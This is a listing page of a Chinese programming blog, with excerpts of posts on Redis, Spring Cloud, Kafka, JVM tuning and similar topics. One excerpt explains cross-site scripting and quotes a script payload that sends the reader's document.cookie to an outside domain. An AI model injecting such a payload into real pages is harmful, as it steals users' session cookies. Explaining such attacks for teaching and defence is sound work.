- 博客(210)
- 资源 (3)
- 收藏
- 关注

原创 拜托,面试官不要在问我Redis分布式锁原理了
Redisson 实现 Redis 分布式锁的底层原理(1)加锁机制(2)锁互斥机制(3)watch dog ⾃动延期机制(4)可重⼊加锁机制(5)锁释放机制(6)此种⽅案 Redis 分布式锁的缺陷
2021-04-16 14:07:47
9519
6

原创 五分钟学会 Spring Cloud Sleuth:分布式请求链路跟踪(小白必看,一看就会教程)
Spring Cloud Sleuth:分布式请求链路跟踪Spring Cloud Sleuth 简介给服务添加请求链路跟踪整合Zipkin获取及分析日志使用Elasticsearch存储跟踪信息安装Elasticsearch修改启动参数将信息存储到Elasticsearch更多启动参数参考福利Spring Cloud Sleuth 是分布式系统中跟踪服务间调用的工具,它可以直观地展示出一次请求的调用过程,本文将对其用法进行详细介绍。Spring Cloud Sleuth 简介随着
2020-12-14 10:50:12
18153
16

原创 五分钟学会 Spring Cloud Zuul:API网关服务(小白必看,一看就会教程)
Spring Cloud Zuul:API网关服务Zuul简介常用功能启动相关服务配置路由规则默认路由规则负载均衡功能配置访问前缀Header过滤及重定向添加Host查看路由信息过滤器过滤器类型过滤器的生命周期自定义过滤器核心过滤器禁用过滤器Ribbon和Hystrix的支持常用配置Spring Cloud Zuul 是Spring Cloud Netflix 子项目的核心组件之一,可以作为微服务架构中的API网关使用,支持动态路由与过滤功能,本文将对其用法进行详细介
2020-12-12 09:13:32
2887
27

原创 一文带你搞懂java8新特性,熟记于心
java8Java 8 Tutorial接口的默认方法(Default Methods for Interfaces)Lambda表达式(Lambda expressions)函数式接口(Functional Interfaces)方法和构造函数引用(Method and Constructor References)Lamda 表达式作用域(Lambda Scopes)访问局部变量访问字段和静态变量访问默认接口方法内置函数式接口(Built-in Functional Interfa
2020-12-10 11:26:04
8594
10

原创 SpringBoot 启动方法run()源码赏析
入口通常一个简单的SpringBoot基础项目我们会有如下代码@SpringBootApplication@RestController@RequestMapping("/")public class Application { public static void main(String[] args) { SpringApplication.run(Application.class, args); }}值得关注的有SpringApplication.run以及注解@Spri
2020-12-02 21:12:06
24399
12

原创 面试官就是这么欺负人:new Object()到底占用几个字节?
关注公众号免费领取技术书籍和面试资料前言我们来分析一下堆内布局以及Java对象在内存中的布局吧。对象的指向先来看一段代码:package com.zwx.jvm;public class HeapMemory { private Object obj1 = new Object(); public static void main(String[] args) { Object obj2 = new Object(); }}123456789
2020-11-28 10:50:12
21381
3

原创 SpringBoot源码@ConditionalOnBean与@ConditionalOnClass你清楚吗
@ConditionalOnBean // 当给定的在bean存在时,则实例化当前Bean@ConditionalOnMissingBean // 当给定的在bean不存在时,则实例化当前Bean@ConditionalOnClass // 当给定的类名在类路径上存在,则实例化当前Bean@ConditionalOnMissingClass // 当给定的类名在类路径上不存在,则实例化当前Bean下面我通过案例深入讲下@ConditionalOnBean 注解,这个
2020-11-27 13:48:24
11315
5

原创 spring事务,你真的了解了
spring七个事务传播属性:• 1.PROPAGATION_REQUIRED – 支持当前事务,如果当前没有事务,就新建一个事务。这是最常见的选择。• 2.PROPAGATION_SUPPORTS – 支持当前事务,如果当前没有事务,就以非事务方式执行。• 3.PROPAGATION_MANDATORY – 支持当前事务,如果当前没有事务,就抛出异常。• 4.PROPAGATION_REQUIRES_NEW – 新建事务,如果当前存在事务,把当前事务挂起。• 5.PROPAGATION_NOT.
2020-11-26 16:25:14
3082
3

原创 网站常用攻击技术详解
一、跨站脚本攻击二、跨站请求伪造三、SQL 注入攻击四、拒绝服务攻击参考资料一、跨站脚本攻击概念跨站脚本攻击(Cross-Site Scripting, XSS),可以将代码注入到用户浏览的网页上,这种代码包括 HTML 和 JavaScript。攻击原理例如有一个论坛网站,攻击者可以在上面发布以下内容:<script>location.href="//domain.com/?c=" + document.cookie</script>之后该内容可能会..
2020-05-26 11:20:07
26658
10

原创 JWT结合springSecurity实现鉴权中心
1.无状态登录原理1.1.什么是有状态?有状态服务,即服务端需要记录每次会话的客户端信息,从而识别客户端身份,根据用户身份进行请求的处理,典型的设计如tomcat中的session。例如登录:用户登录后,我们把登录者的信息保存在服务端session中,并且给用户一个cookie值,记录对应的session。然后下次请求,用户携带cookie值来,我们就能识别到对应session,从而找到用户...
2020-05-07 08:53:04
12562
3

原创 Redis缓存穿透,缓存击穿,缓存雪崩实战代码总结
package com.macro.mall.portal.service.impl;import com.macro.mall.common.utils.JsonUtils;import com.macro.mall.common.utils.RedisUtil;import com.macro.mall.model.PmsProduct;import com.macro.mall.p...
2020-05-05 11:43:30
4638
3

原创 MySql数据操作总结
一、基础二、创建表三、修改表四、插入五、更新六、删除七、查询八、排序九、过滤十、通配符十一、计算字段十二、函数十三、分组十四、子查询十五、连接十六、组合查询十七、视图十八、存储过程十九、游标二十、触发器二十一、事务管理二十二、字符集二十三、权限管理参考资料一、基础模式定义了数据如何存储、存储什么样的数据以及数据如何分解等信息,数据库和表都有...
2020-04-03 12:47:55
12308
3

原创 JVM常用配置参数,gc调优策略
JVM 配置常用参数堆参数;回收器参数;项目中常用配置;常用组合;堆参数img回收器参数img如上表所示,目前主要有串行、并行和并发三种,对于大内存的应用而言,串行的性能太低,因此使用到的主要是并行和并发两种。并行和并发 GC 的策略通过 UseParallelGC和UseConcMarkSweepGC 来指定,还有一些细节的配置参数用来配置策略的执行方式。例如:XX:Paral...
2020-03-28 08:36:09
2240
2

原创 GitHub高级用法-------------让你学习更简单
GitHub高级用法In关键词限制词查询公式;xxx关键词 in:name 或description 或 readmexxx in:name 项目名包含xxxxxx in:name项目描述包含xxx的xxx in:name 项目中的readme文件包含xxx的组合使用star或fork关键词查找1.公式:xxx关键词 stars 通配符 选择 :> 或 :>=2.区...
2020-03-06 17:34:05
816
2

原创 synchronized与lock的区别,volatile关键字总结
1.synchronized与lock的区别synchronized是关键字属于JVM层面,lock是类synchronized并不需要手动释放,不可中断,是一个非公平锁,只能全部唤醒或者随机唤醒lock需要lock()和unlock()方法配合try/finally使用,同时它是一个可中断的可重入锁,默认是非公平锁,但是可以设为公平锁,同时可以条件唤醒jdk1.6之前,synchroi...
2020-01-14 09:29:47
808

原创 springboot是如何实现自动配置,加载生成bean,这篇告诉你
1.首先你得知道springbootApplication这个注解的作用,它是一个复合注解@SpringBootApplication 看作是 @Configuration、@EnableAutoConfiguration、@ComponentScan 注解的集合。@EnableAutoConfiguration:启用 SpringBoot 的自动配置机制@ComponentScan: 扫描...
2020-01-13 08:39:43
18477
1

原创 单例模式五种方式总结
各种单例实现方式(5种):懒汉模式,饿汉线程非安全模式,饿汉线程安全模式,内部类模式,枚举模式。现在最推荐的方式是枚举单例模式。对这些模式的描述和介绍,请仔细看代码中的注释,会有意想不到的收获呦!package com.xhengxuyuanzhi;/*** * * 饿汉式单例模式 * 特点:可以通过反射机制攻击;线程安全[多个类加载器除外]。 */public class H...
2019-12-30 11:17:57
1841
2

原创 学了这篇redis从入门到精通,redis笔记全收录,必须收藏
一、概述二、数据类型STRINGLISTSETHASHZSET三、数据结构字典跳跃表四、使用场景计数器缓存查找表消息队列会话缓存分布式锁实现其它五、Redis 与 Memcached数据类型数据持久化分布式内存管理机制六、键的过期时间七、数据淘汰策略八、持久化RDB 持久化AOF 持久化九、事务十、事件...
2019-12-12 08:12:59
2998
1

原创 java并发知识大全
一、线程状态转换新建(New)可运行(Runnable)阻塞(Blocked)无限期等待(Waiting)限期等待(Timed Waiting)死亡(Terminated)二、使用线程实现 Runnable 接口实现 Callable 接口继承 Thread 类实现接口 VS 继承 Thread三、基础线程机制ExecutorDaemonsleep(...
2019-12-09 14:56:57
1884
2

原创 史上最全JVM学习笔记,要收藏
一、运行时数据区域程序计数器Java 虚拟机栈本地方法栈堆方法区运行时常量池直接内存二、垃圾收集判断一个对象是否可被回收引用类型垃圾收集算法垃圾收集器三、内存分配与回收策略Minor GC 和 Full GC内存分配策略Full GC 的触发条件四、类加载机制类的生命周期类加载过程类初始化时机类与类加载器类加载器分类双亲委派模型...
2019-12-09 14:53:28
3223
4
原创 解密JVM虚拟机即时编译器:偷偷给你的代码做了什么手脚
即时编译是由方法调用计数器和循环回边计数器触发的。在使用分层编译的情况下,触发编译的阈值是根据当前待编译的方法数目动态调整的。即时编译究竟暗地里搞了哪些事情上面介绍了即时编译器关于字段访问的优化方式,以及死代码消除。即时编译器将沿着控制流缓存字段存储、读取的值,并在接下来的字段读取操作时直接使用该缓存值。这要求生成缓存值的访问以及使用缓存值的读取之间没有方法调用、内存屏障,或者其他可能存储该字段的节点。即时编译器还会优化冗余的字段存储操作。
2024-07-01 09:37:29
233
原创 探索Java并发容器的深坑与妙用:从同步到并发的进化之路
Java并发容器为我们提供了丰富的选择,但每种容器都有其适用的场景和注意事项。在实际工作中,理解这些容器的特性,选对容器,才能真正发挥它们的优势,写出高效、安全的并发程序。希望这篇文章能帮助你在并发编程的道路上走得更远,少踩坑,多收获。如果你有任何疑问或经验分享,欢迎在评论区留言讨论。让我们一起探索Java并发编程的奥秘!
2024-06-12 20:17:40
344
原创 探索面向对象与并发编程的完美融合:Java中的实践与思考
利用面向对象思想编写并发程序的关键在于利用封装特性。对共享变量进行封装时,要避免“逸出”,即共享变量逃逸到对象外部。用锁的最佳实践:锁应是私有的、不可变的、不可重用的。锁的性能要看场景:不同应用场景下锁的性能表现不同。竞态条件需要格外关注:if语句可能带来竞态条件。方法调用是先计算参数:方法调用前会先计算参数。InterruptedException异常处理需小心:捕获异常后重新设置中断标志位。理论值或经验值:最佳线程数最终靠压测确定。
2024-06-12 20:11:50
160
原创 深度解读:Apache Kafka如何超越消息引擎的界限
Apache Kafka从一个优秀的消息引擎系统起家,逐渐演变成现在的分布式流处理平台。了解Kafka的发展历程和功能扩展,可以帮助我们更好地理解其在现代分布式系统中的角色和应用场景。Kafka不仅是一个消息引擎系统,也是一个强大的分布式流处理平台,未来在流处理框架中必将占有一席之地。希望这些信息对你有帮助。如果你有更多关于Kafka的具体问题或想深入探讨的技术细节,欢迎继续交流。
2024-05-30 13:25:22
582
原创 深入Kafka消息分区机制:从原理到实践
不同的分区可以分布在不同的Broker上,读写操作也是针对分区进行的,这样每个节点都能独立处理各自分区的读写请求。通过合理的分区策略,可以避免消息数据的“倾斜”,防止某些分区成为性能瓶颈,从而提升整个系统的性能和稳定性。例如,可以根据Broker的IP地址实现定制化的分区策略,将南方用户的消息发送到南方的机房,北方用户的消息发送到北方的机房。虽然实现简单,但从实际表现来看,它的均匀分布效果不如轮询策略,因此在新版本的Kafka中,默认分区策略已经从随机策略改为轮询策略。
2024-05-30 13:21:33
731
原创 异步编程的魔力:如何显著提升系统性能
今天我们来聊聊一个对开发者非常重要的话题——异步编程。异步编程是提升系统性能的一种强大手段,尤其在需要高吞吐量和低时延的场景中,异步设计能够显著减少线程等待时间,从而提升整体性能。
2024-05-29 16:42:56
427
原创 理解消息队列:队列与主题的区别
如果你研究过多种消息队列产品,可能会发现每种消息队列都有自己的一套消息模型,像队列(Queue)、主题(Topic)或分区(Partition)这些名词概念在不同的消息队列模型中含义各异。这是因为没有统一的标准。尽管曾有国际组织尝试制定过消息相关的标准,如早期的 JMS 和 AMQP,但这些标准的进化跟不上消息队列的演进速度,最终被淘汰了。那么,什么是队列?什么是主题?它们之间有什么区别?为了彻底理解这些概念,我们需要从消息队列的演进说起。
2024-05-29 16:35:09
241
原创 解密消息队列的复制魔法:RocketMQ vs Kafka
RocketMQ 和 Kafka 都在消息复制上有独特的实现方式,各有优缺点。RocketMQ:提供传统主从复制和 Dledger 复制。传统主从复制性能好,但可用性稍差;Dledger 复制可用性高,但性能和资源利用率较低。Kafka:基于 ISR 的复制方式,灵活可配置,用户可以根据需求在性能、高可用性和一致性之间做取舍,但学习成本较高。没有一种完美的复制方案能同时兼顾高性能、高可用和一致性。你需要根据实际业务需求,做出适当的取舍,然后配置消息队列的复制方式。
2024-05-28 16:56:37
1347
原创 Kafka Consumer 位移提交深度解析
这种方式特别适用于处理大批量消息的场景,允许开发者在处理一定数量的消息后提交位移,从而减少重复消费的风险。自动提交提供了便利性,而手动提交(特别是异步提交结合同步提交的使用)则提供了更高的灵活性和可靠性。这是因为在自动提交的间隔时间内,如果发生了 Consumer 的重启或 rebalance 操作,那么最近一次提交之后消费的消息可能会被重新消费。Kafka 提供了两种手动提交位移的方法:同步提交(`commitSync`)和异步提交(`commitAsync`)。位移提交分为自动提交和手动提交两种方式。
2024-05-28 09:32:43
306
原创 深入解析 RocketMQ 和 Kafka 的消息压缩机制
消息队列系统在现代分布式系统中扮演着重要角色,它们不仅需要高效地传递消息,还需要在传输过程中尽量减少带宽和存储的占用。消息压缩是一种常见的优化手段,可以显著减少消息的体积。本文将详细探讨 RocketMQ 和 Kafka 的消息压缩机制,并对比它们的优劣,帮助你选择适合自己系统的压缩方式。
2024-05-27 21:25:41
1247
原创 调优Kafka,你做到了吗?
通过上述几个层面的调优,你可以显著提升 Kafka 集群的性能,满足高吞吐量和低延时的需求。记住,调优是一个持续的过程,你需要根据实际的生产环境不断调整参数,进行性能测试和监控,才能找到最优的配置组合。希望这些调优建议对你有所帮助。如果你有任何问题或需要进一步的指导,请随时告诉我。
2024-05-27 15:52:53
1205
原创 Kafka 请求处理揭秘:从入门到精通
Reactor 模式是事件驱动架构的一种实现方式,特别适合处理多个客户端并发请求的场景。我们看看它的架构图:22)多个客户端发送请求给 Reactor,Reactor 的 Dispatcher 线程将请求分发到多个工作线程中处理。Dispatcher 线程不涉及具体逻辑处理,非常轻量级,因此有很高的吞吐量表现。
2024-05-27 15:46:02
1335
javaweb项目实战.docx
2020-12-03
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人